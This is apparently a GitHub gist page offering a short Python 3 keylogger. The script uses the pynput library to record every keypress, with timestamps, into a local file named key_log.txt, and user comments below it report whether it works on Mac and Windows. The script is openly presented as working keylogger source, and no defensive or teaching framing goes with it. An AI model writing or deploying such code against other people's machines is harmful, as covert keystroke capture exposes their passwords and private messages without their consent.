Skip to content

Instantly share code, notes, and snippets.

@brentvollebregt
Created April 11, 2017 02:48
Show Gist options
  • Star 13 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save brentvollebregt/a6f28546744a34368dca8030413ee093 to your computer and use it in GitHub Desktop.
Save brentvollebregt/a6f28546744a34368dca8030413ee093 to your computer and use it in GitHub Desktop.
A Python 3 keylogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
with Listener(on_press=on_press) as listener:
listener.join()
@shreyanshsinghparmar
Copy link

the keylogger spits out some sort of hebrew. you need to parse this data into something that can be easily understood

@hessercan
Copy link

This doesn't work on mac.

@johnopg
Copy link

johnopg commented Jul 17, 2019

Its very well

@stardestroyer3
Copy link

Nice and easy

@MajliTech
Copy link

windows: dont work

@MajliTech
Copy link

windows: dont work

*10

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment